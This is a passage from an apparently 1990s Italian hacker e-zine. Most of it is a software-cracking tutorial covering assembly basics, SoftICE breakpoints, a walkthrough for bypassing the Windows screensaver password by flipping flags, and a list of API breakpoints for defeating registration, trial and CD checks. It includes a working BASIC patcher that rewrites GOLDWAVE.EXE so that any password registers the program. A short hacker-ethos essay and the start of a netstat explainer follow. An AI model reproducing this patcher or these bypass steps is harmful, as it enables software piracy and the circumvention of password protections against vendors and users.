scopi non sono di importanza rilevante. Se proprio volete saperne di piu'
andate a leggervi una delle tante guide sull'Assembler che si trovano in giro
per Internet, o forse, se avete culo, nella sezione links di questo sito.

2.2 I flag
Servono ad indicare se un jump condizionale (vedi sezione istruzioni) deve
essere eseguito o no. Per esempio

CMP AL, BL ........... Confronta il registro al con bl
JZ 3F1D ................... Salta se zero a 3F1D

La prima istruzione esegue un confronto tra AL e BL. Se sono uguali il flag Z
diventa 1 (attivo), nel caso contrario invece, 0 (disattivo).
La seconda istruzione salta all'indirizzo specificato se il flag Z e' 0.
Se per esempio in AL abbiamo il numero di giorni da quando stiamo usando il
programma, e in BL, il numero di giorni che il programma deve funzionare,
modificando il flag zero possiamo far credere al programma che i giorni ancora
non sono finiti, e quindi possiamo continuare ad usare il programma. Capito?

Mettiamo il caso:

AL = 3 .................... Stiamo usando il prog. da 3 giorni
BL = 1E .................. (1E = 30 in Hex) Per quanti giorni possiamo usare
il prog.

Premesso questo, ora eseguiamo i comandi:

CMP AL, BL ........... Confronta il 3 con il 30d
JZ 3F1D .................. Se i due sono uguali (tutti e due 30, flag Z = 1)
salta a 3F1D e ci dice di registrare il programma

Tutto chiaro? Penso di si... queste sono cazzate da capire in fondo, credo.

2.3 Le istruzioni
MOV Dest. Source - Sposta un valore da Source a Dest. Per esempio MOV AL,
BL - Sposta il contenuto di BL in AL.

CMP var1, var2 - Confronta i due valori di var1 e var2. Per esempio CMP AL,
BL - Confronta il contenuto di AL con quello in BL. Semplice no? Be'...
questa istruzione funziona come una sottrazione: il valore in var2 viene
sottratto da var1. Cioe', se ho 3 in AL, e 8 in BL, il risultato sara'
3 - 8 = -5. Il flag Carry (C) si attivera' (questo flag si attiva ogni
volta che il numero e' negativo). Nel 99,9% dei casi questo comando viene
usato per confrontare la password da voi inserita e quella giusta, oppure
come nell'esempio sopra, i giorni trascorsi, e quelli trascorribili (ma
esiste questa parola?).

JMP label - Questa e' l'istruzione piu' bella. Esegue un salto all'indirizzo
specificato. Lo troverete, di solito dopo un CMP. Ci sono diverse
variazioni di questo comando, che ora vi elenchero', e vanno tutte a
controllare i flag Z, O, S, C e P. Nella sua forma piu' semplice e' JMP
label, cioe', salta a label qualsiasi siano i valori dei flag. Ponendo
il comando CMP AX, BX, abbiamo:

JNZ - Jump if not zero, AX diverso da BX

JZ - Jump if zero, AX uguale a BX

JB - Jump if below, AX < BX, C = 1

JA - Jump if above, AX > BX, C = 0

JNGE - Jump if not greater or equal, AX<=BX, S diverso da 0

JGE - Jump if greater or equal, AX=>BX, S = 0

JLE - Jump if less or equal, AX<=BX, Z=1 o S=F

Che palle! Vabbe'... cen'e' altri di 'sti' JMP, ma non credo che vi servano per
i vostri loschi scopi, quindi non preoccupatevi... anche se non li sapete non
cambia un cazzo. Comunque, se proprio vi interessano li trovate in un
qualsiasi manuale di Assembler in giro per Internet, o comunque nella lista
dei link di questo sito qualcosa per voi c'e'...

CALL label - Richiama una routine che si trova all'indirizzo specificato con
label. Per esempio CALL 1F3D, esegue la routine a CS:1F3D. Poi,
eseguendo la routine, quando trova un'istruzione RET torna
all'istruzione dopo CALL. Facile no? Di solito, quelle chiamate
con CALL sono delle routine che controllano il testo da voi
inserito, oppure criptano la password che avete inserito ecc.

INT n - Esegue un'interruzione. Un'interruzione e' come una routine, pero' non
e' nel programma, ma da qualche parte nel DOS, o nel BIOS, dipende dalla
n. Per esempio quei giochini vecchissimi che chiedevano il KeyDisk
inserito usavano l'int 13 per vedere se c'e'ra il dischetto inserito o no
ecc. Comunque cazzate... in Windows gli INT non esistono quasi piu'.

That's it. Questi sono i comandi principali dell'asm. Spero che gli abbiate
capiti, perche' senza questi poi non ci capirete una minchia nel SoftIce.
Anzi... se volete approfondire, c'e' il Assembly language foundamentals
tutorial che aspetta solo di essere letto e studiato. I comandi che vi ho
dato qui sono pure pochi, ma comunque quelli piu' importanti.

3. L'uso del debugger
Ok. Aspettate un'attimo che mi accendo una cicca... fumo troppo... ma vabbo'.
Per spiegarvi come funziona il SoftIce vi traduco semplicemente le parti piu'
importanti della guida che trovate anche compattata nel file SoftIce.zip.
Cosi' risparmio la fatica di pensare ai comandi.
Allora... intanto i consiglio di mettere una robe del genere alla fine del
vostro Autoexec.bat:

choice /tn,2 Caricare softice?
if errorlevel 2 goto win
c:\softice\winice (qui' mettete la righa che vi aggiunge il SoftIce nell'installazione)
goto end

:win
choice /ts,1 Caricare windows?
if errorlevel 2 goto end
win

:end

Ed ora passiamo ai comandi principali del SoftIce:

3.1 I comandi del SoftIce
E' impossibile debuggare bene senza sapere come funzionano i BreakPoints (Bp).
Un bp e' un'istruzione per la cpu che le dice di fermare l'esecuzione del
programma dopo un accesso ad una certa locazione di memoria, oppure dopo
certi eventi del programma stesso e da' il controllo al debugger. Quando setti
un bp del SoftIce e poi torni al programma che stai usando, SoftIce compare
automaticamente quando la condizione per la quale e' settato il bp e'
verificata.

3.1.2 BreakPoint
Bc # : Clear Breakpoint--elimina un breakpoint messo in precedenza nel
Soft-Ice; devi sapere il numero del bp...

Bd # : Disable Breakpoint--disabilita il bp ma non lo cancella; devi sapere
il numero del bp...

Be # : Enable Breakpoint--abilita il bp che hai disabilitato in precedenza;
devi sapere il numero del bp...

Bl : List Breakpoints--mostra una lista di tutti i bp settati nel softice,
il loro stato (abilitato, disabilitato), e il loro numero.

Bmsg : Break on Windows Message. Sintassi: BMSG window handle L begin-message
end-message

Bpint : Break on Interrupt. Funziona solo con le interruzioni trattate da IDT
(95/NT). Sintassi: BPINT int-number

Bpio: Si ferma quando c'e' un accesso in lettura o scrittura ad una porta I/O
con un certo indirizzio. Sintassi: BPIO port [R|W|RW] [EQ|NE|GT|LT|M
value] [c=count]

Bpm: Si ferma quando c'e' un accesso alla memoria in lettura (read), scrittura
(write), o esecuzione (execution). Sintassi: BPM[B|W|DW] address
[R|W|RW|X]

Bpx : Break on execution. Sintassi: BPX address/symbol [c=count]
[EQ|NE|GT|LT|M value] [c=count]

Bpr : Break on memory range. Sintassi: BPR start-address end-address
[R|W|RW|T|TW] [expression]

Bprw : Break on program/code segment. Sintassi: BPRW module-name|selector
[R|W|RW|T|TW] [expression]

3.1.2 Steppare attraverso il programma
Debuggare in se' vuol dire eseguite una istruzione alla volta di un programma
in modo da poter vedere come cambiano la memoria, i registri, i flags e le
variabili. I principali comandi per farlo sono:

P : Esegue una istruzzione e vede le CALL come una istruzzone sola. Shortcut:
il tasto F10.

P RET : Esegue il programma finche non trova un'istruzione RET. Shortcut: il
tasto F12.

T : Esegue una istruzzione. Shortcut: il tasto F8.

3.1.3 Visualizzare informazioni sul sistema
Addr : Visualizza o cambia ad un contesto di indirizzi.

Class : Visualizza informazioni sui Windows Classes.

CPU : Visualizza i registri della CPU.

Exp : Carica/Visualizza i simboli esportati da un DLL.

GDT : Visualizza la Global Descriptor Table.

Heap : Visualizza i Global Heap di Windows.

Heap32 : Visualizza/attraversa i Global Heap di Windows.

HWND : Visualizza informazioni sui Windows Handles.

IDT : Visualizza la Interrupt Descriptor Table.

LDT : Visualizza la Local Descriptor Table.

LHeap : Visualizza i Windows Local Heap.

Map32 : Visualizza una mappa di memoria di tutti i moduli a 32bit caricati
in memoria.

MapV86 : Visualizza la mappa di memoria DOS memory della macchina virtuale
corrente.

Mod : Mostra la Windows Module List.

Page : Mostra le Page Table information.

Proc : Visualizza informazioni su un processo.

Stack : Visualizza una call stack.

Sym : Imposta o visualizza un Symbol.

Task : Mostra Windows Task List.

VCall : Mostra i nome e indirizzi di una routine VxD chiamabile con CALL.

VM : Visualizza informazioni sulle macchine virtuali.

VXD : Visualizza la mappa Windows VXD.

.VMM : Chiama il VMM Debug Informational Services menu.

.VPICD : Chiama il VPICD Debug Information Menu.

.VXDLDR : Mostra informazioni VXD.

WMSG : Visualizza i nomi e numeri dei messaggi Windows.

Comunque, se questi dati non vi bastano, troverete la guida citata sopra
compattata nel zip che potete scaricare dalla pagina Utilitys di questo sito.
Inoltre, cosa molto importante, che stavo quasi per dimenticarmi, c'e' da dire
che nel SoftIce ci entrate con CTRL-D. Figo, no?

4. Iniziamo a crackare
Benebenebene... adesso che vi siete sorbiti tutte le cazzate qui sopra citate,
sapete come funziona il SoftIce e anche un po' di asm, contenti? Ok. Possiamo
iniziare con una cosa molto semplice e anche abbastanza inutile: la password
dello Screen Saver di Windows. E' l'unica cosa che penso abbiano tutti nel
loro Windows, cosi' evitate di andare a scaricare prog. che magari neanche
volete, solo per provare ad crackarlo. Ok? Sono un bravo ragazzo o no?
Iniziamo. Caricate il SoftIce, andate nel pannello di controllo, sceglietevi
uno screen saver e impostate una password... una a caso, tanto ora la rendiamo
inutile. Aspettate che lo SS (polizia militare tedesca) entri in funzione,
inserite una pw sbagliata e entrate nel Softice con CTRL-D. Ok. Ora siamo nel
Debugger. Adesso c'e' un problema... dobbiamo intercettare una funzione di
Windows. Cioe' quella che legga il testo da noi inserito nella casella di
testo della pw. Per fare questo innanzitutto dobbiamo sapere in che programma
e' la finestrella con la casella di testo interessata. Digitiamo TASK e il
SoftIce ci da una lista di programmi al momento attivi. Uno di questi e' (nel
mio caso) "oggetti volanti". Io ho scelto questo ss, ma immagino che il
vostro sia un'altro. Comunque, se non siete proprio cretini, nella lista di
prog. che vi da, troverete quello dello ss. Fatto questo, c'e' da fare una
piccola nota sul funzionamento di Windows. Qualsiasi cosa vedete sullo
schermo (un pulsante di Ok, la X nella parte destra-alta delle finestrelle di
Win, una casella di testo, ...) e' un handle di Windows. Sono chiamati cosi'.
La casella di testo nella quale noi abbiamo inserito la pw e' un handle. Nel
SoftIce e' possibile visualizzare tutti gli handle attivi al momento con il
comando HWND. Digitandolo, vedrete una lista di tutti gli hwnd attivi di
tutti i programmi. Di ogni hwnd il SoftIce da informazioni sull'numero del
hwnd, il programma nel quale si trova e il suo nome. Noi siamo a caccia di
un hwnd chiamato EDIT, visto che e' una casella di testo. Nella lista
troverete proprio l'edit che vi serve (il prog. "Oggetti Volanti" ne
visualizza uno solo).
Ora dobbiamo solo intercettare la funzione di Windows che legge il testo
contenuto in quella casella e ci ritroveremo esattamente nella routine da
fottere. Per fare questo settiamo un bp con il seguente comando: BMSG num_hwnd
WM_GETTEXT per num_hwnd, ovviamente, dovrete inserire il numero del handle che
vi da SoftIce (il primo a sinistra). WM_GETTEXT invece e' un messaggio di
Windows che legge un testo da una casella di testo.
Dopo che avete inserito il comando nella righa di comando del SoftIce, date
l'invio e tornate allo Screen Saver con CTRL-D. Cliccate su Ok per confermare
la vostra pw sbagliata e... magia! Riappare il SoftIce e vi trovate nella
routine BOZOSLIVEHERE (un piccolo scherzo della MicroSoft, credo... cretini...)
di USER. Pero', come potete vedere nella parte bassa della finestra del codice,
non siamo nel programma da noi desiderato (quello dello Screen Saver) ma in
USER, del quale non ce ne frega un cazzo, e quindi steppiamo attraverso il
codice, premendo F12, fino ad arrivare a Kernel.Alloc. Ogni volta che
arrivate a Kernel.Alloc, sappiate che dopo il prossimon F12 che premete siete
nel vostro programma. Premiamo un'altra volta l'F12 e ci troviamo nel bel
mezzo di PASSWORD!.text. Cosi' ora sappiamo anche che lo Screen Saver usa
l'estensione del Pannello di Controllo PASSWORD.CPL per gestire le password.
Iniziate gia' un po' a sentirvi dei fighi? Andiamo avanti. Guardatevi bene

  
il
codice:

0137:7C45428F CALL [7C4582BC] ......................... La call dalla quale
siamo appena usciti

0137:7C454295 TEST EDI, EDI ................................ Controlla cosa
c'e' in EDI

0137:7C454297 JNZ 7C4542B1 ............................... Un JMP condizionale

0137:7C454299 LEA EAX, [EBP-04]

0137:7C45429C LEA ECX, [EBP-14]

0137:7C45429F PUSH EAX

0137:7C4542A0 PUSH ECX

0137:7C4542A1 CALL 7C454536 ............................... Chiama una Routine

0137:7C4542A6 TEST EAX, EAX ............................... Controlla cosa
c'e' in EAX

0137:7C4542A8 JZ 7C4542DE ..................................... Un'altro JMP
condizionale

0137:7C4542AA MOV EAX,00000001

0137:7C4542AF JMP 7C454322 .................................. Con questo JMPi
sicuramente...

Ok... Ci sono due CALL, e subito dopo le rispettive CALL, i rispettivi JMP.
A me viene da pensare (a me perche' di programmi ne ho visti tanti...) che una
controlla la lunghezza della pw e l'altra i caratteri. Ma ovviamente questo
non si puo' sapere... e' solo un'intuizione che viene dopo kili di programmi
sorbiti con il passare degli anni. Ma tanto a noi non ci frega di cosa fanno
le call. Steppando attraverso il codice vediamo che almeno uno dei due jump
ci fa saltare, quindi probabilmente, la parte del programma che ci rida'
accesso al Desktop si trova all'indirizzo 0137:7C4542AF (l'ultimo JMP).
Quindi, arrivati al primo JMP (JNZ 7C4542B1) noi non vogliamo saltare:
premiamo F10 fino a quell'istruzione e mettiamo il flag Z a 0. Andiamo avanti
con F10 fino al secondo JMP (JZ 7C4542DE) e settiamo il flag Z a 1 per non
saltare neanche questa volta. Ok. Fatto. Ora possiamo tornare al programma
premendo CTRL-D. Lo Screen Saver e' sparito e noi abbiamo riguadagnato
l'accesso all'Desktop anche se abbiamo inserito la pw sbagliata.
Dite la verita'. Vi sentite dei grandi ora o mi sbaglio?

Ora forse non avrete capito perfettamente tutto quello che c'e' scritto qui'
sopra, ma vi assicuro che se seguite i passi nell'esempio, piano piano
capirete come fare a crackare anche altri programmi. Ora vi chiederete:
"cosa sara' mai quel WM_GETTEXT???". E' un message brake di Windows. Nel senso
che c'e' una parte in Windows che usa questo simbolo per leggere il testo da
voi inserito nella casella di testo. Comunque ora ve ne do anche altri, per i
pulsanti di Ok e altre cose.

5. BreakPoints utili
Per prima cosa, per poter usare i seguenti bp (WM_GETTEXT compreso) dovete
editare il file WINICE.DAT nella directory di SoftIce e includere gli exports
di

gdi32.dll
kernel32.dll
user32.dll

questi tre per ora dovrebbero bastare, comunque sappiate che potete aggiungere
anche gli altri dll e exe che vi interessano.
I bp che seguono sono tutti da settare con Bpx nel SoftIce.

5.1 Lettura e scrittura sui file
Questi che seguono sono gli API calls di Windows piu' comuni.
Sono CALL generiche di accesso a file (di solito in binario) in lettura e
scrittura.

ReadFile

WriteFile

L'accesso ai file avviene con le seguenti routine

SetFilePointer

GetSytemDirectory

GetSytemDirectoryA

Per leggere e scrivere sui file INI le CALL da intercettare sono le seguenti:
per applicazioni a 16bit

GetPrivateProfileString

GetPrivatProfileInt

WritePrivateProfileString

WritePrivatProfileInt

per applicazioni a 32bit

GetPrivateProfileStringA

GetPrivatProfileIntA

WritePrivateProfileStringA

WritePrivatProfileIntA

5.2 Interrupt
Accesso ad un file

bpint 21 - con ah = 3d

bpint 2f - con ah = 01

5.3 Il Registry
Crea o elimina una key nel registry (quelle con A alla fine sono per
applicazioni a 32 bit)

RegCreateKey

RegDeleteKey

RegCreateKeyA

RegDeleteKeyA

Leggi un valore da una Key correntemente aperta nel registry

RegQueryValue

RegQueryValueA

Apre o chiude una Key nel registry

RegCloseKey

RegOpenKey

RegCloseKeyA

RegOpenKeyA

5.4 Finestre di dialogo
Legge testo o un numero da una finestra di dialogo edit (quelle con A alla
fine sono per applicazioni a 32 bit)

GetWindowText

GetDlgItemText

GetWindowTextA

GetDlgItemTextA

GetDlgItemInt

Quando si apre una finestrella di messaggio, di solito una di quelle che dice
"registrazione non valida" o qualcosa del genere, dovete intercettare queste
CALLs

MessageBox

MessageBoxA

MessageBoxExA

MessageBeep

5.5 Data e ora
Queste sono particolarmente utili per i programmi che non funzionano piu' dopo
un paio di giorni

GetSystemTime

GetLocalTime

SytemTimeToFileTime

5.6 Creazione di una finestra

CreateWindow

CreateWindowExA

ShowWindow

bitblt (e' una roba simile a hmemcpy... sposta e muove memoria in giro)

5.7 CD-ROM
Molto utili per i check del CD-ROM.

GetDriveType (se EAX e' 5, allora e' un CD-ROM check)

GetDriveTypeA (per le app. a 32 bit)

Eseguite le CALL, in EAX c'e' un valore, ed e' da interpretare nel seguente
modo:

0 ............. Drive cannot be determinated

1 ............. root dir does not exist

2 ............. DriveRemoveable

3 ............. A fixed disk (HD)

4 ............. Remote drive (NetWork)

5 ............. Cd-Rom drive

6 ............. RamDisk

5.8 Altri BreakPoints
Questi li potete usare quando il resto non funziona... sono dei bp, che, in
generale, funzionano

BozosLiveHere (ve lo ricordate?)

HMemCpy (quello citato sopra. sposta variabili, di solito stringhe, in giro
per la memoria)

GlobalGetAtomName

5.8 I messaggi
Questi sono da settare con BMSG nel SoftIce (non con BPX).

WM_GETTEXT (un handle di testo)

WM_COMMAND (quando premi un pulsante di Ok)

Penso che sappiate come usarli questi... ve lo ho spiegato sopra... comunque
lo ripeto:

BMSG hwnd_num WM_COMMAND, per esempio. Per hwnd_num, ovviamente, dovete
inserire il numero dell'handle trovato con il comando HWND del SoftIce.

Questi sono i bp piu' utili che potete settare. Non dovete impararli a
memoria... dopo un po' li saprete per i cazzi vostri. Ma sarebbe bene che ve
li leggiate, cosi' sapete che esistono e sapete che potete usarli quando vi
servono.

6. Il patch
Cos'e' un patch? Semplicemente un programma che faccia da solo il cracking di
un prog. Nel esempio dello Screen Saver per esempio, il programma deve
cambiare in NOP (No operation) i due jump condizionali. Il risultato finale
sara':

0137:7C45428F CALL [7C4582BC] ......................... La call dalla quale
siamo appena usciti

0137:7C454295 TEST EDI, EDI ................................ Controlla cosa
c'e' in EDI

0137:7C454297 NOP .......................... Niente piu' jmp condizionale, ma
un nop (non dobbiamo saltare).

0137:7C454298 NOP ......................I NOP sono due perche' i byte che
occupa l'istruzione che c'era prima
erano il doppio di un NOP

0137:7C454299 LEA EAX, [EBP-04]

0137:7C45429C LEA ECX, [EBP-14]

0137:7C45429F PUSH EAX

0137:7C4542A0 PUSH ECX

0137:7C4542A1 CALL 7C454536 ............................... Chiama una Routine

0137:7C4542A6 TEST EAX, EAX ............................... Controlla cosa
c'e' in EAX

0137:7C4542A8 NOP ..........................................Stesso discorso
di sopra

0137:7C4542A9 NOP

0137:7C4542AA MOV EAX,00000001

0137:7C4542AF JMP 7C454322 ..................... Il jmp che ci fa saltare alla
routine di sbloccaggio

Questo e' il programma come dovrebbe essere dopo il crack, quando lo
disassemblate. Chiaro? Ora... per cambiare il jmp con un NOP, non dobbiamo
fare altro che prendere nota dei byte originai, cioe' quelli con i jmp come
erano all'inizio, poi cambiarli con i nop, e prendere nota del cambiamento
dei byte. Per vedere l'istruzione disassemblata, in SoftIce, si usa il
comando CODE ON, che vicino ad ogni istruzione, vi mostra i byte che le
rappresentano. Facile no? Ho scritto, solo per voi, un patch universale in
Basic (linguaggio del cazzo ma veloce, intuitivo, e soprattutto facile, per
voi che non ci capite una sega) che vi riporto qui sotto, cosi' lo compilate
diversamente ogni volta che crackate un programma. Per usarlo dovete
conoscere l'offset dei byte da cambiare, che potete trovare con un Hex editor
(lo trovate nella pagina Utilitys di questo sito), i byte del file originale
e quelli dopo il crackaggio. Ok. In oltre vi sarei molto grato se lasciaste
le righe in cui ci sono i crediti (S2)... o se proprio non volete, almeno
mettete un "tnx to S2" o qualcosa del genere... vene sarei grati. Let's patch!

'---VARIABLE DEFINITIONS---

'---File Name of the file to crack---
FileName$ = "GOLDWAVE.EXE"
'---Number of bytes to change---
NBC = 6
'---15, 133, 156... are the original bytes of the file (in decimal!!!)---
OB$ = CHR$(15) + CHR$(133) + CHR$(156) + CHR$(0) + CHR$(0) + CHR$(0)
'---233, 157, 0... are the changed bytes of the file (in decimal!!!)---
CB$ = CHR$(233) + CHR$(157) + CHR$(0) + CHR$(0) + CHR$(0) + CHR$(144)
'---The offset where the bytes to change are---
'---you can find 'em with a Hex editor---
'---the first byte of the file is 1---
OS = 147393
'---The file size in bytes---
FS = 946176


'---CREDIZ & INFO---
CLS
PRINT "Patch for Goldwave v3.24 written by S2"
PRINT ""
PRINT "This Patch allows you to enter ANY password"
PRINT "you like, and the program will register"
PRINT "itselve."
PRINT "If the file is already patched, it will return"
PRINT "to it's original state."
PRINT "Have fun!"
PRINT ""
DO: LOOP WHILE INKEY$ = ""


'---FILE CHECK & VERSION CHECK---
PRINT "Opening file "; FileName$; "..."
PRINT ""
ON ERROR GOTO OpenFileErr
OPEN FileName$ FOR INPUT AS #1
IF NOT LOF(1) = FS THEN
PRINT "The file has not the right size."
PRINT "Check if it is the correct version."
PRINT ""
END
END IF

CLOSE #1
ON ERROR GOTO 0


'---FILE PATCH & UNPATCH---
ON ERROR GOTO PatchFileErr
OPEN FileName$ FOR BINARY ACCESS READ WRITE AS #1
PRINT "Checking file..."
PRINT ""

Data$ = STRING$(NBC, " ")
GET #1, OS, Data$

IF Data$ = CB$ THEN
PRINT "File already patched."
PRINT "Back to it's original state..."
PRINT ""
PUT #1, OS, OB$
PRINT "Now the file is unpatched!"
ELSE
PRINT "File not patched."
PRINT "Let's patch..."
PRINT ""
PUT #1, OS, CB$
PRINT "Now the file is patched!"
PRINT "Registration for FREE now!"

END IF

END


OpenFileErr:
PRINT "There was an error while opening the file."
PRINT "run-time errorcode "; ERR
PRINT ""
END

PatchFileErr:
PRINT "There was an error while patching the file."
PRINT "run-time errorcode "; ERR
PRINT ""
END

Ho scritto i commenti in inglese per mettere il programma in Internet, ma
comunque non penso che ci voglia tanto a capire come funziona.
Quando volete creare un patch per un altro file, tutto quello che dovete
modificare e' contenuto nelle variabili all'inizio del programma. Li rielenco
in italiano con alcuni commenti per farvi capire meglio:

FileName$ = "GOLDWAVE.EXE"
In questo punto, al posto di GOLDWAVE.EXE inserite il nome del file da
crackare.

NBC = 6
6 e' il numero di byte da modificare. In questo caso 6.

OB$ = CHR$(15) + CHR$(133) + CHR$(156) + CHR$(0) + CHR$(0) + CHR$(0)
Al posto di 15, 133, 156... dovete inserire i byte originali del file che
volete crackare.
Se i byte sono di piu' o di meno di 6, semplicemente aggiungete o togliete
i CHR$() che sono in meno o di troppo.

CB$ = CHR$(233) + CHR$(157) + CHR$(0) + CHR$(0) + CHR$(0) + CHR$(144)
Stesso discorso di sopra, solamente, questa volta, i byte inseriti tra le
parentesi sono quelli che volete siano scritti.

OS = 147393
L'offset dei byte da cambiare. Come trovarlo? Se come Hex editor usate
l'Hexworks, per esempio, tutto quello che dovete fare e' andare a ricercare
(nel Hexworks, ovviamente) dove si trovano i byte che volete modificare.
Trovati quelli, sulla sinistra (o sulla barra di stato) troverete scritto
l'offset dei byte. Attenzione pero'! In Hexworks, il primo byte nel file e' 0,
mentre secondo il Basic, il primo byte nel file e' 1. Quindi, all'offset che
troverete in Hexworks dovrete aggiungere 1. Abbastanza ovvio, no?

FS = 946176
E' la grandezza del file in byte. Se non sapete come trovare questa da soli
siete degli incompetenti, e aggiungerei anche imbecilli :-))))

Notate che se volete fare un patch per la password dello screen saver,
dovrete cambiare un po' il codice, perche' i byte da cambiare non sono in fila,
ma iniziano a due indirizzi diversi, quindi due offset diversi. Per cui, ci
sara' da aggiungere una variabile OS1$, per il secondo offset, OB1$, per i
byte originali nella seconda posizione e CB1$, per i byte cambiati nella
seconda posizione. E poi dovrete aggiungere il codice per il cambiamento dei
byte nella seconda posizione (al secondo offset). Chiaro no? No? Studiate il
basic, o scrivete il patch in un linguaggio che conoscete.

E questo e' quanto.

7. Conclusione
Bene raga. Ho finito. Penso che di tutta sta roba, se non sapevate veramente
un cazzo, abbiate capito molto poco, ma non vi preoccupate... se provate a
mettere in pratica ci riuscirete piano piano a crackare il vostro primo
shareware da soli... ci vuole solo un po' di esperienza... Da parte mia ho
cercato di darvi tutte le informazioni piu' utili che ho potuto trovare in
Internet, e di spiegarmi in maniera piu' o meno capibile. Spero che questo
manualetto vi serva e che vi ricordiate di S2 in futuro... Inoltre vorrei
ringraziare Extasy per avermi dato l'idea, anche se in modo implicito, di
scrivere una roba del genere... E ringraziamenti vanno anche alla fabbrichetta
di Plastica nella quale ho lavorato, per le sigarette che grazie a loro posso
permettermi.
Un'altra cosa: NON MANDATE MAIL!!! TANTO NON RISPONDO!!!
Prima di andarvene dal sito andate a visitare la parte "required programs".
Troverete non solo i programmi che vi servono, ma anche i patch per i
programmi stessi. E non dimenticate, di tanto in tanto, di tornare su queste
pagine per le ultime novita'.
S2

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°°°°°°°ÛÛÛÛÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛ°°ÛÛ°°°°°°°ÛÛ°°°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°ÛÛ°°°°°°°ÛÛ°°°°°°°ÛÛ°°°ÛÛ°°ÛÛ°°°ÛÛ°°ÛÛ°°°°°°ÛÛÛÛ°°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°ÛÛ°°°°°°°ÛÛÛÛÛ°°°°ÛÛ°°°ÛÛ°°ÛÛÛÛÛ°°°°ÛÛ°°°°°ÛÛ°°ÛÛ°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°ÛÛ°°°°°°°ÛÛ°°°°°°°ÛÛ°°°ÛÛ°°ÛÛ°°ÛÛ°°°ÛÛ°°°°ÛÛÛÛÛÛÛÛ°°°°°°°°°°°°°°°²
²°°°°°°°°°°°ÛÛ°°°°°°°ÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛ°°ÛÛ°°°ÛÛ°°ÛÛ°°°ÛÛ°°°°°°ÛÛ°°°°°°°°°°°°°°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

Comicio subito col dire che alcuni newbies ultimamente mi hanno fatto qualke
domanda su cose specifiche e quando gli passavo qualke doc teorico mi dicevano
...che palle! Be se pensate la stessa cosa allora lasciate perdere l'hacking e
datevi all'uncinetto xche se volete bucare uno unix e sapete solo come cancellare
i log, se volete avere l'ultima versione di winnuke ma non sapete come funzionano
i nuke..be imo siete lamer xche' se non avete le basi non potete fare niente.
Soprattutto ricordate che dietro a un hacker c'e' la voglia di conoscenza, il
volere capire come funzionano i programmi, non la voglia di distruggere tutto
di formattare a destra e a manca e se queste sono le cose che fate di solito...
be, mi dispiace ma siete e resterete lamer finche' non vorrete andare al di la'
della pappa pronta, finche' non vi verra' la nausea dopo una decina di manuali
sulle reti, finche' non avrete capito che differenza c'e' tra i vari protocolli.
Finche' non saprete cosa e' un firewall non saprete come sfruttare i suoi bug!
Non importa che eta' avete, quanto tempo dedicate ai pc, quanti amici hacker avete,
l'unica cosa importante la potete trovare solo dentro di voi, (e forse al 127.0.0.1
vero master? ehehehe) e quella cosa e' la curiosita'.
Mah, probabilmente, mi starete pigliando x pazzo, e forse non avete tutti i torti,
ma questo e' quello che penso io, e prima di diventare hacker come Master
passeranno anni (se mai arrivero'a i suoi livelli), xche' come diceva qualcuno
che non mi ricordo + chi era...

"+ impari e + ti accorgi che da imparare ce n'e' sempre di +".
o meglio
"..non e' mai finita..."
che si puo' riassumere in questa frase di Baudelaire
"credevo di avere toccato il fondo, quando mi accorsi che si poteva ancora
scavare"

Se dopo questa breve intro credete di avere perso del tempo, be...scusatemi.

N0bodY88
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ COME FUNZIONA NETSTAT ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

A cura di Barninga Z

Windows 95 implementa il comando netstat, praticamente standard nei sistemi
Unix, utile per indagare la configurazione di rete ed il suo stato. Quella di
Windows 95 appare una versione ridotta rispetto al netstat diffuso sotto Unix,
ma comunque utile per curiosare e magari diagnosticare lo stato della rete.
Il comando netstat riconosce diverse opzioni, particolarmente interessante e'
-a, che visualizza lo stato di tutte le connessioni di rete.
Un output del comando netstat -a visualizza tipicamente una riga per ogni
servizio attivo (il servizio, in parole poverissime e largamente approssimative,
E' un socket, o numero di connessione, attraverso il quale due processi - in
genere su macchine diverse - comunicano), come il seguente:

Active Connections

Proto Local Address Foreign Address State
UDP zeta-:nbname *:*
UDP zeta-:nbdatagram *:*
UDP zeta-:nbname *:*
UDP zeta-:nbdatagram *:*

Il significato E' che sul computer zeta- (il nome attribuito alla macchina via
pannello di controllo) sono attive due interfacce di rete, e su entrambe sono
attivi i servizi NetBiosName e NetBiosDatagram. Il fatto che si tratti di due
interfacce di rete appare piu' chiaro se insieme all'opzione -a si usa anche
l'opzione -n, che richiede a netstat la visualizzazione dell'output in formato
numerico (senza cioE' utilizzare C:\WINDOWS\HOSTS per i nomi delle macchine e
C:\WINDOWS\SERVICES per i nomi dei servizi):
Active Connections

Proto Local Address Foreign Address State
UDP 150.100.190.11:137 *:*
UDP 150.100.190.11:138 *:*
UDP 193.76.58.131:137 *:*
UDP 193.76.58.131:138 *:*

